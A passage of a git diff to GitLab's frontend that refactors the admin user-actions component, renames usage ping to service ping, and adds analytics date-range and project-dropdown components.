index 1dfea3f1e7b..1dfea3f1e7b 100644
--- a/app/assets/javascripts/pages/admin/users/components/user_modal_manager.vue
+++ b/app/assets/javascripts/admin/users/components/modals/user_modal_manager.vue
diff --git a/app/assets/javascripts/admin/users/components/user_actions.vue b/app/assets/javascripts/admin/users/components/user_actions.vue
index b782526e6be..c076e0bedf0 100644
--- a/app/assets/javascripts/admin/users/components/user_actions.vue
+++ b/app/assets/javascripts/admin/users/components/user_actions.vue
@@ -5,6 +5,7 @@ import {
GlDropdownItem,
GlDropdownSectionHeader,
GlDropdownDivider,
+ GlTooltipDirective,
} from '@gitlab/ui';
import { convertArrayToCamelCase } from '~/lib/utils/common_utils';
import { capitalizeFirstCharacter } from '~/lib/utils/text_utility';
@@ -21,6 +22,9 @@ export default {
GlDropdownDivider,
...Actions,
},
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
props: {
user: {
type: Object,
@@ -30,6 +34,11 @@ export default {
type: Object,
required: true,
},
+ showButtonLabels: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
computed: {
userActions() {
@@ -56,6 +65,13 @@ export default {
userPaths() {
return generateUserPaths(this.paths, this.user.username);
},
+ editButtonAttrs() {
+ return {
+ 'data-testid': 'edit',
+ icon: 'pencil-square',
+ href: this.userPaths.edit,
+ };
+ },
},
methods: {
isLdapAction(action) {
@@ -70,51 +86,68 @@ export default {
</script>
<template>
- <div class="gl-display-flex gl-justify-content-end" :data-testid="`user-actions-${user.id}`">
- <gl-button v-if="hasEditAction" data-testid="edit" :href="userPaths.edit">{{
- $options.i18n.edit
- }}</gl-button>
+ <div
+ class="gl-display-flex gl-justify-content-end gl-my-n2 gl-mx-n2"
+ :data-testid="`user-actions-${user.id}`"
+ >
+ <div v-if="hasEditAction" class="gl-p-2">
+ <gl-button v-if="showButtonLabels" v-bind="editButtonAttrs">{{
+ $options.i18n.edit
+ }}</gl-button>
+ <gl-button
+ v-else
+ v-gl-tooltip="$options.i18n.edit"
+ v-bind="editButtonAttrs"
+ :aria-label="$options.i18n.edit"
+ />
+ </div>
- <gl-dropdown
- v-if="hasDropdownActions"
- data-testid="dropdown-toggle"
- right
- class="gl-ml-2"
- icon="settings"
- >
- <gl-dropdown-section-header>{{ $options.i18n.settings }}</gl-dropdown-section-header>
+ <div v-if="hasDropdownActions" class="gl-p-2">
+ <gl-dropdown
+ data-testid="dropdown-toggle"
+ right
+ :text="$options.i18n.userAdministration"
+ :text-sr-only="!showButtonLabels"
+ icon="settings"
+ data-qa-selector="user_actions_dropdown_toggle"
+ :data-qa-username="user.username"
+ >
+ <gl-dropdown-section-header>{{
+ $options.i18n.userAdministration
+ }}</gl-dropdown-section-header>
- <template v-for="action in dropdownSafeActions">
- <component
- :is="getActionComponent(action)"
- v-if="getActionComponent(action)"
- :key="action"
- :path="userPaths[action]"
- :username="user.name"
- :data-testid="action"
- >
- {{ $options.i18n[action] }}
- </component>
- <gl-dropdown-item v-else-if="isLdapAction(action)" :key="action" :data-testid="action">
- {{ $options.i18n[action] }}
- </gl-dropdown-item>
- </template>
+ <template v-for="action in dropdownSafeActions">
+ <component
+ :is="getActionComponent(action)"
+ v-if="getActionComponent(action)"
+ :key="action"
+ :path="userPaths[action]"
+ :username="user.name"
+ :data-testid="action"
+ >
+ {{ $options.i18n[action] }}
+ </component>
+ <gl-dropdown-item v-else-if="isLdapAction(action)" :key="action" :data-testid="action">
+ {{ $options.i18n[action] }}
+ </gl-dropdown-item>
+ </template>
- <gl-dropdown-divider v-if="hasDeleteActions" />
+ <gl-dropdown-divider v-if="hasDeleteActions" />
- <template v-for="action in dropdownDeleteActions">
- <component
- :is="getActionComponent(action)"
- v-if="getActionComponent(action)"
- :key="action"
- :paths="userPaths"
- :username="user.name"
- :oncall-schedules="user.oncallSchedules"
- :data-testid="`delete-${action}`"
- >
- {{ $options.i18n[action] }}
- </component>
- </template>
- </gl-dropdown>
+ <template v-for="action in dropdownDeleteActions">
+ <component
+ :is="getActionComponent(action)"
+ v-if="getActionComponent(action)"
+ :key="action"
+ :paths="userPaths"
+ :username="user.name"
+ :oncall-schedules="user.oncallSchedules"
+ :data-testid="`delete-${action}`"
+ >
+ {{ $options.i18n[action] }}
+ </component>
+ </template>
+ </gl-dropdown>
+ </div>
</div>
</template>
diff --git a/app/assets/javascripts/admin/users/constants.js b/app/assets/javascripts/admin/users/constants.js
index c55edefe607..4636c8705a5 100644
--- a/app/assets/javascripts/admin/users/constants.js
+++ b/app/assets/javascripts/admin/users/constants.js
@@ -6,7 +6,7 @@ export const LENGTH_OF_USER_NOTE_TOOLTIP = 100;
export const I18N_USER_ACTIONS = {
edit: __('Edit'),
- settings: __('Settings'),
+ userAdministration: s__('AdminUsers|User administration'),
unlock: __('Unlock'),
block: s__('AdminUsers|Block'),
unblock: s__('AdminUsers|Unblock'),
@@ -17,4 +17,12 @@ export const I18N_USER_ACTIONS = {
ldapBlocked: s__('AdminUsers|Cannot unblock LDAP blocked users'),
delete: s__('AdminUsers|Delete user'),
deleteWithContributions: s__('AdminUsers|Delete user and contributions'),
+ ban: s__('AdminUsers|Ban user'),
+ unban: s__('AdminUsers|Unban user'),
};
+
+export const CONFIRM_DELETE_BUTTON_SELECTOR = '.js-delete-user-modal-button';
+
+export const MODAL_TEXTS_CONTAINER_SELECTOR = '#js-modal-texts';
+
+export const MODAL_MANAGER_SELECTOR = '#js-delete-user-modal';
diff --git a/app/assets/javascripts/admin/users/index.js b/app/assets/javascripts/admin/users/index.js
index 54c8edc080b..852b253d25a 100644
--- a/app/assets/javascripts/admin/users/index.js
+++ b/app/assets/javascripts/admin/users/index.js
@@ -2,7 +2,15 @@ import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createDefaultClient from '~/lib/graphql';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import csrf from '~/lib/utils/csrf';
import AdminUsersApp from './components/app.vue';
+import ModalManager from './components/modals/user_modal_manager.vue';
+import UserActions from './components/user_actions.vue';
+import {
+ CONFIRM_DELETE_BUTTON_SELECTOR,
+ MODAL_TEXTS_CONTAINER_SELECTOR,
+ MODAL_MANAGER_SELECTOR,
+} from './constants';
Vue.use(VueApollo);
@@ -10,22 +18,71 @@ const apolloProvider = new VueApollo({
defaultClient: createDefaultClient({}, { assumeImmutableResults: true }),
});
-export const initAdminUsersApp = (el = document.querySelector('#js-admin-users-app')) => {
+const initApp = (el, component, userPropKey, props = {}) => {
if (!el) {
return false;
}
- const { users, paths } = el.dataset;
+ const { [userPropKey]: user, paths } = el.dataset;
return new Vue({
el,
apolloProvider,
render: (createElement) =>
- createElement(AdminUsersApp, {
+ createElement(component, {
props: {
- users: convertObjectPropsToCamelCase(JSON.parse(users), { deep: true }),
+ [userPropKey]: convertObjectPropsToCamelCase(JSON.parse(user), { deep: true }),
paths: convertObjectPropsToCamelCase(JSON.parse(paths)),
+ ...props,
},
}),
});
};
+
+export const initAdminUsersApp = (el = document.querySelector('#js-admin-users-app')) =>
+ initApp(el, AdminUsersApp, 'users');
+
+export const initAdminUserActions = (el = document.querySelector('#js-admin-user-actions')) =>
+ initApp(el, UserActions, 'user', { showButtonLabels: true });
+
+export const initDeleteUserModals = () => {
+ const modalsMountElement = document.querySelector(MODAL_TEXTS_CONTAINER_SELECTOR);
+
+ if (!modalsMountElement) {
+ return;
+ }
+
+ const modalConfiguration = Array.from(modalsMountElement.children).reduce((accumulator, node) => {
+ const { modal, ...config } = node.dataset;
+
+ return {
+ ...accumulator,
+ [modal]: {
+ title: node.dataset.title,
+ ...config,
+ content: node.innerHTML,
+ },
+ };
+ }, {});
+
+ // eslint-disable-next-line no-new
+ new Vue({
+ el: MODAL_MANAGER_SELECTOR,
+ functional: true,
+ methods: {
+ show(...args) {
+ this.$refs.manager.show(...args);
+ },
+ },
+ render(h) {
+ return h(ModalManager, {
+ ref: 'manager',
+ props: {
+ selector: CONFIRM_DELETE_BUTTON_SELECTOR,
+ modalConfiguration,
+ csrfToken: csrf.token,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/analytics/devops_report/components/service_ping_disabled.vue b/app/assets/javascripts/analytics/devops_report/components/service_ping_disabled.vue
new file mode 100644
index 00000000000..7c14cf3767f
--- /dev/null
+++ b/app/assets/javascripts/analytics/devops_report/components/service_ping_disabled.vue
@@ -0,0 +1,58 @@
+<script>
+import { GlEmptyState, GlSprintf, GlLink, GlButton } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlEmptyState,
+ GlSprintf,
+ GlLink,
+ GlButton,
+ },
+ inject: {
+ isAdmin: {
+ default: false,
+ },
+ svgPath: {
+ default: '',
+ },
+ docsLink: {
+ default: '',
+ },
+ primaryButtonPath: {
+ default: '',
+ },
+ },
+};
+</script>
+<template>
+ <gl-empty-state :title="s__('ServicePing|Service ping is off')" :svg-path="svgPath">
+ <template #description>
+ <gl-sprintf
+ v-if="!isAdmin"
+ :message="
+ s__(
+ 'ServicePing|To view instance-level analytics, ask an admin to turn on %{docLinkStart}service ping%{docLinkEnd}.',
+ )
+ "
+ >
+ <template #docLink="{ content }">
+ <gl-link :href="docsLink" target="_blank" data-testid="docs-link">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ <template v-else>
+ <p>
+ {{ s__('ServicePing|Turn on service ping to review instance-level analytics.') }}
+ </p>
+
+ <gl-button
+ category="primary"
+ variant="success"
+ :href="primaryButtonPath"
+ data-testid="power-on-button"
+ >
+ {{ s__('ServicePing|Turn on service ping') }}
+ </gl-button>
+ </template>
+ </template>
+ </gl-empty-state>
+</template>
diff --git a/app/assets/javascripts/analytics/devops_report/components/usage_ping_disabled.vue b/app/assets/javascripts/analytics/devops_report/components/usage_ping_disabled.vue
deleted file mode 100644
index c0ad814172d..00000000000
--- a/app/assets/javascripts/analytics/devops_report/components/usage_ping_disabled.vue
+++ /dev/null
@@ -1,53 +0,0 @@
-<script>
-import { GlEmptyState, GlSprintf, GlLink, GlButton } from '@gitlab/ui';
-
-export default {
- components: {
- GlEmptyState,
- GlSprintf,
- GlLink,
- GlButton,
- },
- inject: {
- isAdmin: {
- default: false,
- },
- svgPath: {
- default: '',
- },
- docsLink: {
- default: '',
- },
- primaryButtonPath: {
- default: '',
- },
- },
-};
-</script>
-<template>
- <gl-empty-state class="js-empty-state" :title="__('Usage ping is off')" :svg-path="svgPath">
- <template #description>
- <gl-sprintf
- v-if="!isAdmin"
- :message="
- __(
- 'To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}.',
- )
- "
- >
- <template #docLink="{ content }">
- <gl-link :href="docsLink" target="_blank">{{ content }}</gl-link>
- </template>
- </gl-sprintf>
- <template v-else
- ><p>
- {{ __('Turn on usage ping to review instance-level analytics.') }}
- </p>
-
- <gl-button category="primary" variant="success" :href="primaryButtonPath">
- {{ __('Turn on usage ping') }}</gl-button
- >
- </template>
- </template>
- </gl-empty-state>
-</template>
diff --git a/app/assets/javascripts/analytics/devops_report/devops_score_disabled_service_ping.js b/app/assets/javascripts/analytics/devops_report/devops_score_disabled_service_ping.js
new file mode 100644
index 00000000000..63b36f35247
--- /dev/null
+++ b/app/assets/javascripts/analytics/devops_report/devops_score_disabled_service_ping.js
@@ -0,0 +1,33 @@
+import Vue from 'vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import UserCallout from '~/user_callout';
+import ServicePingDisabled from './components/service_ping_disabled.vue';
+
+export default () => {
+ // eslint-disable-next-line no-new
+ new UserCallout();
+
+ const emptyStateContainer = document.getElementById('js-devops-service-ping-disabled');
+
+ if (!emptyStateContainer) return false;
+
+ const {
+ isAdmin,
+ emptyStateSvgPath,
+ enableServicePingPath,
+ docsLink,
+ } = emptyStateContainer.dataset;
+
+ return new Vue({
+ el: emptyStateContainer,
+ provide: {
+ isAdmin: parseBoolean(isAdmin),
+ svgPath: emptyStateSvgPath,
+ primaryButtonPath: enableServicePingPath,
+ docsLink,
+ },
+ render(h) {
+ return h(ServicePingDisabled);
+ },
+ });
+};
diff --git a/app/assets/javascripts/analytics/devops_report/devops_score_disabled_usage_ping.js b/app/assets/javascripts/analytics/devops_report/devops_score_disabled_usage_ping.js
deleted file mode 100644
index 0131407e723..00000000000
--- a/app/assets/javascripts/analytics/devops_report/devops_score_disabled_usage_ping.js
+++ /dev/null
@@ -1,27 +0,0 @@
-import Vue from 'vue';
-import UserCallout from '~/user_callout';
-import UsagePingDisabled from './components/usage_ping_disabled.vue';
-
-export default () => {
- // eslint-disable-next-line no-new
- new UserCallout();
-
- const emptyStateContainer = document.getElementById('js-devops-usage-ping-disabled');
-
- if (!emptyStateContainer) return false;
-
- const { emptyStateSvgPath, enableUsagePingLink, docsLink, isAdmin } = emptyStateContainer.dataset;
-
- return new Vue({
- el: emptyStateContainer,
- provide: {
- isAdmin: Boolean(isAdmin),
- svgPath: emptyStateSvgPath,
- primaryButtonPath: enableUsagePingLink,
- docsLink,
- },
- render(h) {
- return h(UsagePingDisabled);
- },
- });
-};
diff --git a/app/assets/javascripts/analytics/shared/components/daterange.vue b/app/assets/javascripts/analytics/shared/components/daterange.vue
new file mode 100644
index 00000000000..a5b9c40b9c9
--- /dev/null
+++ b/app/assets/javascripts/analytics/shared/components/daterange.vue
@@ -0,0 +1,121 @@
+<script>
+import { GlDaterangePicker, GlSprintf, GlIcon, GlTooltipDirective } from '@gitlab/ui';
+import { getDayDifference } from '~/lib/utils/datetime_utility';
+import { __, sprintf } from '~/locale';
+import { OFFSET_DATE_BY_ONE } from '../constants';
+
+export default {
+ components: {
+ GlDaterangePicker,
+ GlSprintf,
+ GlIcon,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ show: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
+ startDate: {
+ type: Date,
+ required: false,
+ default: null,
+ },
+ endDate: {
+ type: Date,
+ required: false,
+ default: null,
+ },
+ minDate: {
+ type: Date,
+ required: false,
+ default: null,
+ },
+ maxDate: {
+ type: Date,
+ required: false,
+ default() {
+ return new Date();
+ },
+ },
+ maxDateRange: {
+ type: Number,
+ required: false,
+ default: 0,
+ },
+ includeSelectedDate: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ },
+ data() {
+ return {
+ maxDateRangeTooltip: sprintf(
+ __(
+ 'Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days.',
+ ),
+ {
+ maxDateRange: this.maxDateRange,
+ },
+ ),
+ };
+ },
+ computed: {
+ dateRange: {
+ get() {
+ return { startDate: this.startDate, endDate: this.endDate };
+ },
+ set({ startDate, endDate }) {
+ this.$emit('change', { startDate, endDate });
+ },
+ },
+ numberOfDays() {
+ const dayDifference = getDayDifference(this.startDate, this.endDate);
+ return this.includeSelectedDate ? dayDifference + OFFSET_DATE_BY_ONE : dayDifference;
+ },
+ },
+};
+</script>
+<template>
+ <div
+ v-if="show"
+ class="gl-display-flex gl-flex-direction-column gl-lg-flex-direction-row align-items-lg-center justify-content-lg-end"
+ >
+ <gl-daterange-picker
+ v-model="dateRange"
+ class="d-flex flex-column flex-lg-row"
+ :default-start-date="startDate"
+ :default-end-date="endDate"
+ :default-min-date="minDate"
+ :max-date-range="maxDateRange"
+ :default-max-date="maxDate"
+ :same-day-selection="includeSelectedDate"
+ theme="animate-picker"
+ start-picker-class="js-daterange-picker-from gl-display-flex gl-flex-direction-column gl-lg-flex-direction-row gl-lg-align-items-center gl-lg-mr-3 gl-mb-2 gl-lg-mb-0"
+ end-picker-class="js-daterange-picker-to d-flex flex-column flex-lg-row align-items-lg-center"
+ label-class="gl-mb-2 gl-lg-mb-0"
+ />
+ <div
+ v-if="maxDateRange"
+ class="daterange-indicator d-flex flex-row flex-lg-row align-items-flex-start align-items-lg-center"
+ >
+ <span class="number-of-days pl-2 pr-1">
+ <gl-sprintf :message="n__('1 day selected', '%d days selected', numberOfDays)">
+ <template #numberOfDays>{{ numberOfDays }}</template>
+ </gl-sprintf>
+ </span>
+ <gl-icon
+ v-gl-tooltip
+ data-testid="helper-icon"
+ :title="maxDateRangeTooltip"
+ name="question"
+ :size="14"
+ class="text-secondary"
+ />
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/analytics/shared/components/metric_card.vue b/app/assets/javascripts/analytics/shared/components/metric_card.vue
deleted file mode 100644
index e6e12821bec..00000000000
--- a/app/assets/javascripts/analytics/shared/components/metric_card.vue
+++ /dev/null
@@ -1,80 +0,0 @@
-<script>
-import {
- GlCard,
- GlDeprecatedSkeletonLoading as GlSkeletonLoading,
- GlLink,
- GlIcon,
- GlTooltipDirective,
-} from '@gitlab/ui';
-
-export default {
- name: 'MetricCard',
- components: {
- GlCard,
- GlSkeletonLoading,
- GlLink,
- GlIcon,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- },
- props: {
- title: {
- type: String,
- required: true,
- },
- metrics: {
- type: Array,
- required: true,
- },
- isLoading: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- methods: {
- valueText(metric) {
- const { value = null, unit = null } = metric;
- if (!value || value === '-') return '-';
- return unit && value ? `${value} ${unit}` : value;
- },
- },
-};
-</script>
-<template>
- <gl-card class="gl-mb-5">
- <template #header>
- <strong ref="title">{{ title }}</strong>
- </template>
- <template #default>
- <gl-skeleton-loading v-if="isLoading" class="gl-h-auto gl-py-3" />
- <div v-else ref="metricsWrapper" class="gl-display-flex">
- <div
- v-for="metric in metrics"
- :key="metric.key"
- ref="metricItem"
- class="js-metric-card-item gl-flex-grow-1 gl-text-center"
- >
- <gl-link v-if="metric.link" :href="metric.link">
- <h3 class="gl-my-2 gl-text-blue-700">{{ valueText(metric) }}</h3>
- </gl-link>
- <h3 v-else class="gl-my-2">{{ valueText(metric) }}</h3>
- <p class="text-secondary gl-font-sm gl-mb-2">
- {{ metric.label }}
- <span v-if="metric.tooltipText">
- &nbsp;
- <gl-icon
- v-gl-tooltip="{ title: metric.tooltipText }"
- :size="14"
- class="gl-vertical-align-middle"
- name="question"
- data-testid="tooltip"
- />
- </span>
- </p>
- </div>
- </div>
- </template>
- </gl-card>
-</template>
diff --git a/app/assets/javascripts/analytics/shared/components/projects_dropdown_filter.vue b/app/assets/javascripts/analytics/shared/components/projects_dropdown_filter.vue
new file mode 100644
index 00000000000..a490111e13b
--- /dev/null
+++ b/app/assets/javascripts/analytics/shared/components/projects_dropdown_filter.vue
@@ -0,0 +1,241 @@
+<script>
+import {
+ GlIcon,
+ GlLoadingIcon,
+ GlAvatar,
+ GlDropdown,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
+ GlSearchBoxByType,
+} from '@gitlab/ui';
+import { debounce } from 'lodash';
+import { filterBySearchTerm } from '~/analytics/shared/utils';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
+import { n__, s__, __ } from '~/locale';
+import getProjects from '../graphql/projects.query.graphql';
+
+export default {
+ name: 'ProjectsDropdownFilter',
+ components: {
+ GlIcon,
+ GlLoadingIcon,
+ GlAvatar,
+ GlDropdown,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
+ GlSearchBoxByType,
+ },
+ props: {
+ groupId: {
+ type: Number,
+ required: true,
+ },
+ groupNamespace: {
+ type: String,
+ required: true,
+ },
+ multiSelect: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ label: {
+ type: String,
+ required: false,
+ default: s__('CycleAnalytics|project dropdown filter'),
+ },
+ queryParams: {
+ type: Object,
+ required: false,
+ default: () => ({}),
+ },
+ defaultProjects: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ },
+ data() {
+ return {
+ loading: true,
+ projects: [],
+ selectedProjects: this.defaultProjects || [],
+ searchTerm: '',
+ isDirty: false,
+ };
+ },
+ computed: {
+ selectedProjectsLabel() {
+ if (this.selectedProjects.length === 1) {
+ return this.selectedProjects[0].name;
+ } else if (this.selectedProjects.length > 1) {
+ return n__(
+ 'CycleAnalytics|Project selected',
+ 'CycleAnalytics|%d projects selected',
+ this.selectedProjects.length,
+ );
+ }
+
+ return this.selectedProjectsPlaceholder;
+ },
+ selectedProjectsPlaceholder() {
+ return this.multiSelect ? __('Select projects') : __('Select a project');
+ },
+ isOnlyOneProjectSelected() {
+ return this.selectedProjects.length === 1;
+ },
+ selectedProjectIds() {
+ return this.selectedProjects.map((p) => p.id);
+ },
+ availableProjects() {
+ return filterBySearchTerm(this.projects, this.searchTerm);
+ },
+ noResultsAvailable() {
+ const { loading, availableProjects } = this;
+ return !loading && !availableProjects.length;
+ },
+ },
+ watch: {
+ searchTerm() {
+ this.search();
+ },
+ },
+ mounted() {
+ this.search();
+ },
+ methods: {
+ search: debounce(function debouncedSearch() {
+ this.fetchData();
+ }, DEFAULT_DEBOUNCE_AND_THROTTLE_MS),
+ getSelectedProjects(selectedProject, isMarking) {
+ return isMarking
+ ? this.selectedProjects.concat([selectedProject])
+ : this.selectedProjects.filter((project) => project.id !== selectedProject.id);
+ },
+ singleSelectedProject(selectedObj, isMarking) {
+ return isMarking ? [selectedObj] : [];
+ },
+ setSelectedProjects(selectedObj, isMarking) {
+ this.selectedProjects = this.multiSelect
+ ? this.getSelectedProjects(selectedObj, isMarking)
+ : this.singleSelectedProject(selectedObj, isMarking);
+ },
+ onClick({ project, isSelected }) {
+ this.setSelectedProjects(project, !isSelected);
+ this.$emit('selected', this.selectedProjects);
+ },
+ onMultiSelectClick({ project, isSelected }) {
+ this.setSelectedProjects(project, !isSelected);
+ this.isDirty = true;
+ },
+ onSelected(ev) {
+ if (this.multiSelect) {
+ this.onMultiSelectClick(ev);
+ } else {
+ this.onClick(ev);
+ }
+ },
+ onHide() {
+ if (this.multiSelect && this.isDirty) {
+ this.$emit('selected', this.selectedProjects);
+ }
+ this.searchTerm = '';
+ this.isDirty = false;
+ },
+ fetchData() {
+ this.loading = true;
+
+ return this.$apollo
+ .query({
+ query: getProjects,
+ variables: {
+ groupFullPath: this.groupNamespace,
+ search: this.searchTerm,
+ ...this.queryParams,
+ },
+ })
+ .then((response) => {
+ const {
+ data: {
+ group: {
+ projects: { nodes },
+ },
+ },
+ } = response;
+
+ this.loading = false;
+ this.projects = nodes;
+ });
+ },
+ isProjectSelected(id) {
+ return this.selectedProjects ? this.selectedProjectIds.includes(id) : false;
+ },
+ getEntityId(project) {
+ return getIdFromGraphQLId(project.id);
+ },
+ },
+};
+</script>
+<template>
+ <gl-dropdown
+ ref="projectsDropdown"
+ class="dropdown dropdown-projects"
+ toggle-class="gl-shadow-none"
+ @hide="onHide"
+ >
+ <template #button-content>
+ <div class="gl-display-flex gl-flex-grow-1">
+ <gl-avatar
+ v-if="isOnlyOneProjectSelected"
+ :src="selectedProjects[0].avatarUrl"
+ :entity-id="getEntityId(selectedProjects[0])"
+ :entity-name="selectedProjects[0].name"
+ :size="16"
+ shape="rect"
+ :alt="selectedProjects[0].name"
+ class="gl-display-inline-flex gl-vertical-align-middle gl-mr-2"
+ />
+ {{ selectedProjectsLabel }}
+ </div>
+ <gl-icon class="gl-ml-2" name="chevron-down" />
+ </template>
+ <template #header>
+ <gl-dropdown-section-header>{{ __('Projects') }}</gl-dropdown-section-header>
+ <gl-search-box-by-type v-model.trim="searchTerm" />
+ </template>
+ <gl-dropdown-item
+ v-for="project in availableProjects"
+ :key="project.id"
+ :is-check-item="true"
+ :is-checked="isProjectSelected(project.id)"
+ @click.native.capture.stop="
+ onSelected({ project, isSelected: isProjectSelected(project.id) })
+ "
+ >
+ <div class="gl-display-flex">
+ <gl-avatar
+ class="gl-mr-2 vertical-align-middle"
+ :alt="project.name"
+ :size="16"
+ :entity-id="getEntityId(project)"
+ :entity-name="project.name"
+ :src="project.avatarUrl"
+ shape="rect"
+ />
+ <div>
+ <div data-testid="project-name">{{ project.name }}</div>
+ <div class="gl-text-gray-500" data-testid="project-full-path">
+ {{ project.fullPath }}
+ </div>
+ </div>
+ </div>
+ </gl-dropdown-item>
+ <gl-dropdown-item v-show="noResultsAvailable" class="gl-pointer-events-none text-secondary">{{
+ __('No matching results')
+ }}</gl-dropdown-item>
+ <gl-dropdown-item v-if="loading">
+ <gl-loading-icon size="lg" />
+ </gl-dropdown-item>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/analytics/shared/constants.js b/app/assets/javascripts/analytics/shared/constants.js
new file mode 100644
index 00000000000..44d9b4b4262
--- /dev/null
+++ b/app/assets/javascripts/analytics/shared/constants.js
@@ -0,0 +1,12 @@
+import { masks } from 'dateformat';
+
+export const DATE_RANGE_LIMIT = 180;
+export const OFFSET_DATE_BY_ONE = 1;
+export const PROJECTS_PER_PAGE = 50;
+
+const { isoDate, mediumDate } = masks;
+export const dateFormats = {
+ isoDate,
+ defaultDate: mediumDate,
+ defaultDateTime: 'mmm d, yyyy h:MMtt',
+};
diff --git a/app/assets/javascripts/analytics/shared/graphql/projects.query.graphql b/app/assets/javascripts/analytics/shared/graphql/projects.query.graphql
new file mode 100644
index 00000000000..63e95d6804c
--- /dev/null
+++ b/app/assets/javascripts/analytics/shared/graphql/projects.query.graphql
@@ -0,0 +1,22 @@
+query getGroupProjects(
+ $groupFullPath: ID!
+ $search: String!
+ $first: Int!
+ $includeSubgroups: Boolean = false
+) {
+ group(fullPath: $groupFullPath) {
+ projects(
+ search: $search
+ first: $first
+ includeSubgroups: $includeSubgroups
+ sort: SIMILARITY
+ ) {
+ nodes {
+ id
+ name
+ avatarUrl
+ fullPath
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/analytics/shared/utils.js b/app/assets/javascripts/analytics/shared/utils.js
new file mode 100644
index 00000000000..84189b675f2
--- /dev/null
+++ b/app/assets/javascripts/analytics/shared/utils.js
@@ -0,0 +1,4 @@
+export const filterBySearchTerm = (data = [], searchTerm = '', filterByKey = 'name') => {
+ if (!searchTerm?.length) return data;
+ return data.filter((item) => item[filterByKey].toLowerCase().includes(searchTerm.toLowerCase()));
+};
diff --git a/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue b/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue
index 0b4fa879b03..1eb4832a2a3 100644
--- a/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue
+++ b/app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue
@@ -1,5 +1,6 @@
<script>
-import MetricCard from '~/analytics/shared/components/metric_card.vue';
+import { GlDeprecatedSkeletonLoading as GlSkeletonLoading } from '@gitlab/ui';
+import { GlSingleStat } from '@gitlab/ui/dist/charts';
import createFlash from '~/flash';
import { number } from '~/lib/utils/unit_format';
import { s__ } from '~/locale';
@@ -10,7 +11,8 @@ const defaultPrecision = 0;
export default {
name: 'UsageCounts',
components: {
- MetricCard,
+ GlSkeletonLoading,
+ GlSingleStat,
},
data() {
return {
@@ -56,10 +58,24 @@ export default {
</script>
<template>
- <metric-card
- :title="__('Usage Trends')"
- :metrics="counts"
- :is-loading="$apollo.queries.counts.loading"
- class="gl-mt-4"
- />
+ <div>
+ <h2>
+ {{ __('Usage Trends') }}
+ </h2>
+ <div
+ class="gl-display-flex gl-flex-direction-column gl-md-flex-direction-row gl-my-6 gl-align-items-flex-start"
+ >
+ <gl-skeleton-loading v-if="$apollo.queries.counts.loading" />
+ <template v-else>
+ <gl-single-stat
+ v-for="count in counts"
+ :key="count.key"
+ class="gl-pr-9 gl-my-4 gl-md-mt-0 gl-md-mb-0"
+ :value="`${count.value}`"
+ :title="count.label"
+ :should-animate="true"
+ />
+ </template>
+ </div>
+ </div>
</template>
diff --git a/app/assets/javascripts/api.js b/app/assets/javascripts/api.js
index 41cc2036a6b..84a5d5ae4b3 100644
--- a/app/assets/javascripts/api.js
+++ b/app/assets/javascripts/api.js
@@ -3,7 +3,7 @@ import { __ } from '~/locale';
import axios from './lib/utils/axios_utils';
import { joinPaths } from './lib/utils/url_utility';
-const DEFAULT_PER_PAGE = 20;
+export const DEFAULT_PER_PAGE = 20;
/**
* Slow deprecation Notice: Please rather use for new calls
@@ -83,8 +83,8 @@ const Api = {
tagsPath: '/api/:version/projects/:id/repository/tags',
freezePeriodsPath: '/api/:version/projects/:id/freeze_periods',
freezePeriodPath: '/api/:version/projects/:id/freeze_periods/:freeze_period_id',
- usageDataIncrementCounterPath: '/api/:version/usage_data/increment_counter',
- usageDataIncrementUniqueUsersPath: '/api/:version/usage_data/increment_unique_users',
+ serviceDataIncrementCounterPath: '/api/:version/usage_data/increment_counter',
+ serviceDataIncrementUniqueUsersPath: '/api/:version/usage_data/increment_unique_users',
featureFlagUserLists: '/api/:version/projects/:id/feature_flags_user_lists',
featureFlagUserList: '/api/:version/projects/:id/feature_flags_user_lists/:list_iid',
containerRegistryDetailsPath: '/api/:version/registry/repositories/:id/',
@@ -875,7 +875,7 @@ const Api = {
return null;
}
- const url = Api.buildUrl(this.usageDataIncrementCounterPath);
+ const url = Api.buildUrl(this.serviceDataIncrementCounterPath);
const headers = {
'Content-Type': 'application/json',
};
@@ -888,7 +888,7 @@ const Api = {
return null;
}
- const url = Api.buildUrl(this.usageDataIncrementUniqueUsersPath);
+ const url = Api.buildUrl(this.serviceDataIncrementUniqueUsersPath);
const headers = {
'Content-Type': 'application/json',
};
diff --git a/app/assets/javascripts/api/analytics_api.js b/app/assets/javascripts/api/analytics_api.js
index 58494c5a2b8..fd9b0160b0d 100644
--- a/app/assets/javascripts/api/analytics_api.js
+++ b/app/assets/javascripts/api/analytics_api.js
@@ -1,6 +1,8 @@
import axios from '~/lib/utils/axios_utils';
import { buildApiUrl } from './api_utils';
+const GROUP_VSA_PATH_BASE =
+ '/groups/:id/-/analytics/value_stream_analytics/value_streams/:value_stream_id/stages/:stage_id';
